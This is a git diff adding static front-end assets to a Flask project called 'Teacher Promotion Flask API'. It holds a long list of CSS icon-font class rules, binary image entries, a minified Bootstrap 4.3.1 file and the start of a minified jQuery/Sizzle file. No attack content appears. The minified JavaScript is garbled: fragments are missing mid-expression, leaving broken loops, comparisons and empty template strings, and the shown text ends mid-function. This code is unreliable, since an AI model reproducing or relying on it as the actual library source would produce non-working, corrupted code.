+.icon-ondemand_video:before { + content: "\e63a"; +} +.icon-opacity:before { + content: "\e91c"; +} +.icon-open_in_browser:before { + content: "\e89d"; +} +.icon-open_with:before { + content: "\e89f"; +} +.icon-pages:before { + content: "\e7f9"; +} +.icon-pageview:before { + content: "\e8a0"; +} +.icon-pan_tool:before { + content: "\e925"; +} +.icon-panorama:before { + content: "\e40b"; +} +.icon-radio_button_unchecked:before { + content: "\e836"; +} +.icon-panorama_horizontal:before { + content: "\e40d"; +} +.icon-panorama_vertical:before { + content: "\e40e"; +} +.icon-panorama_wide_angle:before { + content: "\e40f"; +} +.icon-party_mode:before { + content: "\e7fa"; +} +.icon-pause2:before { + content: "\e034"; +} +.icon-pause_circle_filled:before { + content: "\e035"; +} +.icon-pause_circle_outline:before { + content: "\e036"; +} +.icon-people_outline:before { + content: "\e7fc"; +} +.icon-perm_camera_mic:before { + content: "\e8a2"; +} +.icon-perm_contact_calendar:before { + content: "\e8a3"; +} +.icon-perm_data_setting:before { + content: "\e8a4"; +} +.icon-perm_device_information:before { + content: "\e8a5"; +} +.icon-person_outline:before { + content: "\e7ff"; +} +.icon-perm_media:before { + content: "\e8a7"; +} +.icon-perm_phone_msg:before { + content: "\e8a8"; +} +.icon-perm_scan_wifi:before { + content: "\e8a9"; +} +.icon-person:before { + content: "\e7fd"; +} +.icon-person_add:before { + content: "\e7fe"; +} +.icon-person_pin:before { + content: "\e55a"; +} +.icon-person_pin_circle:before { + content: "\e56a"; +} +.icon-personal_video:before { + content: "\e63b"; +} +.icon-pets:before { + content: "\e91d"; +} +.icon-phone_android:before { + content: "\e324"; +} +.icon-phone_bluetooth_speaker:before { + content: "\e61b"; +} +.icon-phone_forwarded:before { + content: "\e61c"; +} +.icon-phone_in_talk:before { + content: "\e61d"; +} +.icon-phone_iphone:before { + content: "\e325"; +} +.icon-phone_locked:before { + content: "\e61e"; +} +.icon-phone_missed:before { + content: "\e61f"; +} +.icon-phone_paused:before { + content: "\e620"; +} +.icon-phonelink_erase:before { + content: "\e0db"; +} +.icon-phonelink_lock:before { + content: "\e0dc"; +} +.icon-phonelink_off:before { + content: "\e327"; +} +.icon-phonelink_ring:before { + content: "\e0dd"; +} +.icon-phonelink_setup:before { + content: "\e0de"; +} +.icon-photo_album:before { + content: "\e411"; +} +.icon-photo_filter:before { + content: "\e43b"; +} +.icon-photo_size_select_actual:before { + content: "\e432"; +} +.icon-photo_size_select_large:before { + content: "\e433"; +} +.icon-photo_size_select_small:before { + content: "\e434"; +} +.icon-picture_as_pdf:before { + content: "\e415"; +} +.icon-picture_in_picture:before { + content: "\e8aa"; +} +.icon-picture_in_picture_alt:before { + content: "\e911"; +} +.icon-pie_chart:before { + content: "\e6c4"; +} +.icon-pie_chart_outlined:before { + content: "\e6c5"; +} +.icon-pin_drop:before { + content: "\e55e"; +} +.icon-play_arrow:before { + content: "\e037"; +} +.icon-play_circle_filled:before { + content: "\e038"; +} +.icon-play_circle_outline:before { + content: "\e039"; +} +.icon-play_for_work:before { + content: "\e906"; +} +.icon-playlist_add:before { + content: "\e03b"; +} +.icon-playlist_add_check:before { + content: "\e065"; +} +.icon-playlist_play:before { + content: "\e05f"; +} +.icon-plus_one:before { + content: "\e800"; +} +.icon-polymer:before { + content: "\e8ab"; +} +.icon-pool:before { + content: "\eb48"; +} +.icon-portable_wifi_off:before { + content: "\e0ce"; +} +.icon-portrait:before { + content: "\e416"; +} +.icon-power:before { + content: "\e63c"; +} +.icon-power_input:before { + content: "\e336"; +} +.icon-power_settings_new:before { + content: "\e8ac"; +} +.icon-pregnant_woman:before { + content: "\e91e"; +} +.icon-present_to_all:before { + content: "\e0df"; +} +.icon-priority_high:before { + content: "\e645"; +} +.icon-public:before { + content: "\e80b"; +} +.icon-publish:before { + content: "\e255"; +} +.icon-queue_music:before { + content: "\e03d"; +} +.icon-queue_play_next:before { + content: "\e066"; +} +.icon-radio:before { + content: "\e03e"; +} +.icon-radio_button_checked:before { + content: "\e837"; +} +.icon-rate_review:before { + content: "\e560"; +} +.icon-receipt:before { + content: "\e8b0"; +} +.icon-recent_actors:before { + content: "\e03f"; +} +.icon-record_voice_over:before { + content: "\e91f"; +} +.icon-redo:before { + content: "\e15a"; +} +.icon-refresh2:before { + content: "\e5d5"; +} +.icon-remove2:before { + content: "\e15b"; +} +.icon-remove_circle_outline:before { + content: "\e15d"; +} +.icon-remove_from_queue:before { + content: "\e067"; +} +.icon-visibility:before { + content: "\e8f4"; +} +.icon-remove_shopping_cart:before { + content: "\e928"; +} +.icon-reorder2:before { + content: "\e8fe"; +} +.icon-repeat2:before { + content: "\e040"; +} +.icon-repeat_one:before { + content: "\e041"; +} +.icon-replay:before { + content: "\e042"; +} +.icon-replay_10:before { + content: "\e059"; +} +.icon-replay_30:before { + content: "\e05a"; +} +.icon-replay_5:before { + content: "\e05b"; +} +.icon-reply2:before { + content: "\e15e"; +} +.icon-reply_all:before { + content: "\e15f"; +} +.icon-report:before { + content: "\e160"; +} +.icon-warning2:before { + content: "\e002"; +} +.icon-restaurant:before { + content: "\e56c"; +} +.icon-restore_page:before { + content: "\e929"; +} +.icon-ring_volume:before { + content: "\e0d1"; +} +.icon-room_service:before { + content: "\eb49"; +} +.icon-rotate_90_degrees_ccw:before { + content: "\e418"; +} +.icon-rotate_left:before { + content: "\e419"; +} +.icon-rotate_right:before { + content: "\e41a"; +} +.icon-rounded_corner:before { + content: "\e920"; +} +.icon-router:before { + content: "\e328"; +} +.icon-rowing:before { + content: "\e921"; +} +.icon-rss_feed:before { + content: "\e0e5"; +} +.icon-rv_hookup:before { + content: "\e642"; +} +.icon-satellite:before { + content: "\e562"; +} +.icon-save2:before { + content: "\e161"; +} +.icon-scanner:before { + content: "\e329"; +} +.icon-school:before { + content: "\e80c"; +} +.icon-screen_lock_landscape:before { + content: "\e1be"; +} +.icon-screen_lock_portrait:before { + content: "\e1bf"; +} +.icon-screen_lock_rotation:before { + content: "\e1c0"; +} +.icon-screen_rotation:before { + content: "\e1c1"; +} +.icon-screen_share:before { + content: "\e0e2"; +} +.icon-sd_storage:before { + content: "\e1c2"; +} +.icon-search2:before { + content: "\e8b6"; +} +.icon-security:before { + content: "\e32a"; +} +.icon-select_all:before { + content: "\e162"; +} +.icon-send2:before { + content: "\e163"; +} +.icon-sentiment_dissatisfied:before { + content: "\e811"; +} +.icon-sentiment_neutral:before { + content: "\e812"; +} +.icon-sentiment_satisfied:before { + content: "\e813"; +} +.icon-sentiment_very_dissatisfied:before { + content: "\e814"; +} +.icon-sentiment_very_satisfied:before { + content: "\e815"; +} +.icon-settings:before { + content: "\e8b8"; +} +.icon-settings_applications:before { + content: "\e8b9"; +} +.icon-settings_backup_restore:before { + content: "\e8ba"; +} +.icon-settings_bluetooth:before { + content: "\e8bb"; +} +.icon-settings_brightness:before { + content: "\e8bd"; +} +.icon-settings_cell:before { + content: "\e8bc"; +} +.icon-settings_ethernet:before { + content: "\e8be"; +} +.icon-settings_input_antenna:before { + content: "\e8bf"; +} +.icon-settings_input_composite:before { + content: "\e8c1"; +} +.icon-settings_input_hdmi:before { + content: "\e8c2"; +} +.icon-settings_input_svideo:before { + content: "\e8c3"; +} +.icon-settings_overscan:before { + content: "\e8c4"; +} +.icon-settings_phone:before { + content: "\e8c5"; +} +.icon-settings_power:before { + content: "\e8c6"; +} +.icon-settings_remote:before { + content: "\e8c7"; +} +.icon-settings_system_daydream:before { + content: "\e1c3"; +} +.icon-settings_voice:before { + content: "\e8c8"; +} +.icon-share2:before { + content: "\e80d"; +} +.icon-shop:before { + content: "\e8c9"; +} +.icon-shop_two:before { + content: "\e8ca"; +} +.icon-shopping_basket:before { + content: "\e8cb"; +} +.icon-short_text:before { + content: "\e261"; +} +.icon-show_chart:before { + content: "\e6e1"; +} +.icon-shuffle:before { + content: "\e043"; +} +.icon-signal_cellular_4_bar:before { + content: "\e1c8"; +} +.icon-signal_cellular_connected_no_internet_4_bar:before { + content: "\e1cd"; +} +.icon-signal_cellular_null:before { + content: "\e1cf"; +} +.icon-signal_cellular_off:before { + content: "\e1d0"; +} +.icon-signal_wifi_4_bar:before { + content: "\e1d8"; +} +.icon-signal_wifi_4_bar_lock:before { + content: "\e1d9"; +} +.icon-signal_wifi_off:before { + content: "\e1da"; +} +.icon-sim_card:before { + content: "\e32b"; +} +.icon-sim_card_alert:before { + content: "\e624"; +} +.icon-skip_next:before { + content: "\e044"; +} +.icon-skip_previous:before { + content: "\e045"; +} +.icon-slideshow:before { + content: "\e41b"; +} +.icon-slow_motion_video:before { + content: "\e068"; +} +.icon-stay_primary_portrait:before { + content: "\e0d6"; +} +.icon-smoke_free:before { + content: "\eb4a"; +} +.icon-smoking_rooms:before { + content: "\eb4b"; +} +.icon-textsms:before { + content: "\e0d8"; +} +.icon-snooze:before { + content: "\e046"; +} +.icon-sort2:before { + content: "\e164"; +} +.icon-sort_by_alpha:before { + content: "\e053"; +} +.icon-spa:before { + content: "\eb4c"; +} +.icon-space_bar:before { + content: "\e256"; +} +.icon-speaker:before { + content: "\e32d"; +} +.icon-speaker_group:before { + content: "\e32e"; +} +.icon-speaker_notes:before { + content: "\e8cd"; +} +.icon-speaker_notes_off:before { + content: "\e92a"; +} +.icon-speaker_phone:before { + content: "\e0d2"; +} +.icon-spellcheck:before { + content: "\e8ce"; +} +.icon-star_border:before { + content: "\e83a"; +} +.icon-star_half:before { + content: "\e839"; +} +.icon-stars:before { + content: "\e8d0"; +} +.icon-stay_primary_landscape:before { + content: "\e0d5"; +} +.icon-stop2:before { + content: "\e047"; +} +.icon-stop_screen_share:before { + content: "\e0e3"; +} +.icon-storage:before { + content: "\e1db"; +} +.icon-store_mall_directory:before { + content: "\e563"; +} +.icon-straighten:before { + content: "\e41c"; +} +.icon-streetview:before { + content: "\e56e"; +} +.icon-strikethrough_s:before { + content: "\e257"; +} +.icon-style:before { + content: "\e41d"; +} +.icon-subdirectory_arrow_left:before { + content: "\e5d9"; +} +.icon-subdirectory_arrow_right:before { + content: "\e5da"; +} +.icon-subject:before { + content: "\e8d2"; +} +.icon-subscriptions:before { + content: "\e064"; +} +.icon-subtitles:before { + content: "\e048"; +} +.icon-subway2:before { + content: "\e56f"; +} +.icon-supervisor_account:before { + content: "\e8d3"; +} +.icon-surround_sound:before { + content: "\e049"; +} +.icon-swap_calls:before { + content: "\e0d7"; +} +.icon-swap_horiz:before { + content: "\e8d4"; +} +.icon-swap_vert:before { + content: "\e8d5"; +} +.icon-swap_vertical_circle:before { + content: "\e8d6"; +} +.icon-switch_camera:before { + content: "\e41e"; +} +.icon-switch_video:before { + content: "\e41f"; +} +.icon-sync_disabled:before { + content: "\e628"; +} +.icon-sync_problem:before { + content: "\e629"; +} +.icon-system_update:before { + content: "\e62a"; +} +.icon-system_update_alt:before { + content: "\e8d7"; +} +.icon-tab:before { + content: "\e8d8"; +} +.icon-tab_unselected:before { + content: "\e8d9"; +} +.icon-tablet2:before { + content: "\e32f"; +} +.icon-tablet_android:before { + content: "\e330"; +} +.icon-tablet_mac:before { + content: "\e331"; +} +.icon-tap_and_play:before { + content: "\e62b"; +} +.icon-text_fields:before { + content: "\e262"; +} +.icon-text_format:before { + content: "\e165"; +} +.icon-texture:before { + content: "\e421"; +} +.icon-thumb_down:before { + content: "\e8db"; +} +.icon-thumb_up:before { + content: "\e8dc"; +} +.icon-thumbs_up_down:before { + content: "\e8dd"; +} +.icon-timelapse:before { + content: "\e422"; +} +.icon-timeline:before { + content: "\e922"; +} +.icon-timer:before { + content: "\e425"; +} +.icon-timer_10:before { + content: "\e423"; +} +.icon-timer_3:before { + content: "\e424"; +} +.icon-timer_off:before { + content: "\e426"; +} +.icon-title:before { + content: "\e264"; +} +.icon-toc:before { + content: "\e8de"; +} +.icon-today:before { + content: "\e8df"; +} +.icon-toll:before { + content: "\e8e0"; +} +.icon-tonality:before { + content: "\e427"; +} +.icon-touch_app:before { + content: "\e913"; +} +.icon-toys:before { + content: "\e332"; +} +.icon-track_changes:before { + content: "\e8e1"; +} +.icon-traffic:before { + content: "\e565"; +} +.icon-train2:before { + content: "\e570"; +} +.icon-tram:before { + content: "\e571"; +} +.icon-transfer_within_a_station:before { + content: "\e572"; +} +.icon-transform:before { + content: "\e428"; +} +.icon-translate:before { + content: "\e8e2"; +} +.icon-trending_down:before { + content: "\e8e3"; +} +.icon-trending_flat:before { + content: "\e8e4"; +} +.icon-trending_up:before { + content: "\e8e5"; +} +.icon-tune:before { + content: "\e429"; +} +.icon-tv2:before { + content: "\e333"; +} +.icon-unarchive:before { + content: "\e169"; +} +.icon-undo2:before { + content: "\e166"; +} +.icon-unfold_less:before { + content: "\e5d6"; +} +.icon-unfold_more:before { + content: "\e5d7"; +} +.icon-update:before { + content: "\e923"; +} +.icon-usb2:before { + content: "\e1e0"; +} +.icon-verified_user:before { + content: "\e8e8"; +} +.icon-vertical_align_bottom:before { + content: "\e258"; +} +.icon-vertical_align_center:before { + content: "\e259"; +} +.icon-vertical_align_top:before { + content: "\e25a"; +} +.icon-vibration:before { + content: "\e62d"; +} +.icon-video_call:before { + content: "\e070"; +} +.icon-video_label:before { + content: "\e071"; +} +.icon-video_library:before { + content: "\e04a"; +} +.icon-videocam:before { + content: "\e04b"; +} +.icon-videocam_off:before { + content: "\e04c"; +} +.icon-videogame_asset:before { + content: "\e338"; +} +.icon-view_agenda:before { + content: "\e8e9"; +} +.icon-view_array:before { + content: "\e8ea"; +} +.icon-view_carousel:before { + content: "\e8eb"; +} +.icon-view_column:before { + content: "\e8ec"; +} +.icon-view_comfy:before { + content: "\e42a"; +} +.icon-view_compact:before { + content: "\e42b"; +} +.icon-view_day:before { + content: "\e8ed"; +} +.icon-view_headline:before { + content: "\e8ee"; +} +.icon-view_list:before { + content: "\e8ef"; +} +.icon-view_module:before { + content: "\e8f0"; +} +.icon-view_quilt:before { + content: "\e8f1"; +} +.icon-view_stream:before { + content: "\e8f2"; +} +.icon-view_week:before { + content: "\e8f3"; +} +.icon-vignette:before { + content: "\e435"; +} +.icon-visibility_off:before { + content: "\e8f5"; +} +.icon-voice_chat:before { + content: "\e62e"; +} +.icon-voicemail:before { + content: "\e0d9"; +} +.icon-volume_down:before { + content: "\e04d"; +} +.icon-volume_mute:before { + content: "\e04e"; +} +.icon-volume_off:before { + content: "\e04f"; +} +.icon-volume_up:before { + content: "\e050"; +} +.icon-vpn_key:before { + content: "\e0da"; +} +.icon-vpn_lock:before { + content: "\e62f"; +} +.icon-wallpaper:before { + content: "\e1bc"; +} +.icon-watch:before { + content: "\e334"; +} +.icon-watch_later:before { + content: "\e924"; +} +.icon-wb_auto:before { + content: "\e42c"; +} +.icon-wb_incandescent:before { + content: "\e42e"; +} +.icon-wb_iridescent:before { + content: "\e436"; +} +.icon-wb_sunny:before { + content: "\e430"; +} +.icon-wc:before { + content: "\e63d"; +} +.icon-web:before { + content: "\e051"; +} +.icon-web_asset:before { + content: "\e069"; +} +.icon-weekend:before { + content: "\e16b"; +} +.icon-whatshot:before { + content: "\e80e"; +} +.icon-widgets:before { + content: "\e1bd"; +} +.icon-wifi2:before { + content: "\e63e"; +} +.icon-wifi_lock:before { + content: "\e1e1"; +} +.icon-wifi_tethering:before { + content: "\e1e2"; +} +.icon-work:before { + content: "\e8f9"; +} +.icon-wrap_text:before { + content: "\e25b"; +} +.icon-youtube_searched_for:before { + content: "\e8fa"; +} +.icon-zoom_in:before { + content: "\e8ff"; +} +.icon-zoom_out:before { + content: "\e901"; +} +.icon-zoom_out_map:before { + content: "\e56b"; +} diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/images/.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/static/images/.DS_Store new file mode 100644 index 00000000..5008ddfc Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/static/images/.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/images/bg_1.jpg b/FLASK PROJECTS/Teacher Promotion Flask API/static/images/bg_1.jpg new file mode 100644 index 00000000..dcf9622e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/static/images/bg_1.jpg differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/js/bootstrap.min.js b/FLASK PROJECTS/Teacher Promotion Flask API/static/js/bootstrap.min.js new file mode 100644 index 00000000..c4c0d1f9 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/js/bootstrap.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.3.1 (https://getbootstrap.com/) + * Copyright 2011-2019 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t=t||self).bootstrap={},t.jQuery,t.Popper)}(this,function(t,g,u){"use strict";function i(t,e){for(var n=0;nthis._items.length-1||t<0))if(this._isSliding)g(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=ndocument.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right
',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",sanitize:!0,sanitizeFn:null,whiteList:Ee},je="show",He="out",Re={HIDE:"hide"+De,HIDDEN:"hidden"+De,SHOW:"show"+De,SHOWN:"shown"+De,INSERTED:"inserted"+De,CLICK:"click"+De,FOCUSIN:"focusin"+De,FOCUSOUT:"focusout"+De,MOUSEENTER:"mouseenter"+De,MOUSELEAVE:"mouseleave"+De},xe="fade",Fe="show",Ue=".tooltip-inner",We=".arrow",qe="hover",Me="focus",Ke="click",Qe="manual",Be=function(){function i(t,e){if("undefined"==typeof u)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=g(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),g(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(g(this.getTipElement()).hasClass(Fe))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),g.removeData(this.element,this.constructor.DATA_KEY),g(this.element).off(this.constructor.EVENT_KEY),g(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&g(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===g(this.element).css("display"))throw new Error("Please use show on visible elements");var t=g.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){g(this.element).trigger(t);var n=_.findShadowRoot(this.element),i=g.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!i)return;var o=this.getTipElement(),r=_.getUID(this.constructor.NAME);o.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&g(o).addClass(xe);var s="function"==typeof this.config.placement?this.config.placement.call(this,o,this.element):this.config.placement,a=this._getAttachment(s);this.addAttachmentClass(a);var l=this._getContainer();g(o).data(this.constructor.DATA_KEY,this),g.contains(this.element.ownerDocument.documentElement,this.tip)||g(o).appendTo(l),g(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new u(this.element,o,{placement:a,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:We},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}}),g(o).addClass(Fe),"ontouchstart"in document.documentElement&&g(document.body).children().on("mouseover",null,g.noop);var c=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,g(e.element).trigger(e.constructor.Event.SHOWN),t===He&&e._leave(null,e)};if(g(this.tip).hasClass(xe)){var h=_.getTransitionDurationFromElement(this.tip);g(this.tip).one(_.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=g.Event(this.constructor.Event.HIDE),o=function(){e._hoverState!==je&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),g(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(g(this.element).trigger(i),!i.isDefaultPrevented()){if(g(n).removeClass(Fe),"ontouchstart"in document.documentElement&&g(document.body).children().off("mouseover",null,g.noop),this._activeTrigger[Ke]=!1,this._activeTrigger[Me]=!1,this._activeTrigger[qe]=!1,g(this.tip).hasClass(xe)){var r=_.getTransitionDurationFromElement(n);g(n).one(_.TRANSITION_END,o).emulateTransitionEnd(r)}else o();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){g(this.getTipElement()).addClass(Ae+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||g(this.config.template)[0],this.tip},t.setContent=function(){var t=this.getTipElement();this.setElementContent(g(t.querySelectorAll(Ue)),this.getTitle()),g(t).removeClass(xe+" "+Fe)},t.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=Se(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?g(e).parent().is(t)||t.empty().append(e):t.text(g(e).text())},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getOffset=function(){var e=this,t={};return"function"==typeof this.config.offset?t.fn=function(t){return t.offsets=l({},t.offsets,e.config.offset(t.offsets,e.element)||{}),t}:t.offset=this.config.offset,t},t._getContainer=function(){return!1===this.config.container?document.body:_.isElement(this.config.container)?g(this.config.container):g(document).find(this.config.container)},t._getAttachment=function(t){return Pe[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)g(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==Qe){var e=t===qe?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===qe?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;g(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}}),g(this.element).closest(".modal").on("hide.bs.modal",function(){i.element&&i.hide()}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||g(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),g(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Me:qe]=!0),g(e.getTipElement()).hasClass(Fe)||e._hoverState===je?e._hoverState=je:(clearTimeout(e._timeout),e._hoverState=je,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===je&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||g(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),g(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Me:qe]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=He,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===He&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){var e=g(this.element).data();return Object.keys(e).forEach(function(t){-1!==Oe.indexOf(t)&&delete e[t]}),"number"==typeof(t=l({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),_.typeCheckConfig(be,t,this.constructor.DefaultType),t.sanitize&&(t.template=Se(t.template,t.whiteList,t.sanitizeFn)),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=g(this.getTipElement()),e=t.attr("class").match(Ne);null!==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instance;this.tip=e.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(g(t).removeClass(xe),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=g(this).data(Ie),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),g(this).data(Ie,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.3.1"}},{key:"Default",get:function(){return Le}},{key:"NAME",get:function(){return be}},{key:"DATA_KEY",get:function(){return Ie}},{key:"Event",get:function(){return Re}},{key:"EVENT_KEY",get:function(){return De}},{key:"DefaultType",get:function(){return ke}}]),i}();g.fn[be]=Be._jQueryInterface,g.fn[be].Constructor=Be,g.fn[be].noConflict=function(){return g.fn[be]=we,Be._jQueryInterface};var Ve="popover",Ye="bs.popover",ze="."+Ye,Xe=g.fn[Ve],$e="bs-popover",Ge=new RegExp("(^|\\s)"+$e+"\\S+","g"),Je=l({},Be.Default,{placement:"right",trigger:"click",content:"",template:''}),Ze=l({},Be.DefaultType,{content:"(string|element|function)"}),tn="fade",en="show",nn=".popover-header",on=".popover-body",rn={HIDE:"hide"+ze,HIDDEN:"hidden"+ze,SHOW:"show"+ze,SHOWN:"shown"+ze,INSERTED:"inserted"+ze,CLICK:"click"+ze,FOCUSIN:"focusin"+ze,FOCUSOUT:"focusout"+ze,MOUSEENTER:"mouseenter"+ze,MOUSELEAVE:"mouseleave"+ze},sn=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var o=i.prototype;return o.isWithContent=function(){return this.getTitle()||this._getContent()},o.addAttachmentClass=function(t){g(this.getTipElement()).addClass($e+"-"+t)},o.getTipElement=function(){return this.tip=this.tip||g(this.config.template)[0],this.tip},o.setContent=function(){var t=g(this.getTipElement());this.setElementContent(t.find(nn),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(on),e),t.removeClass(tn+" "+en)},o._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},o._cleanTipClass=function(){var t=g(this.getTipElement()),e=t.attr("class").match(Ge);null!==e&&0=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return 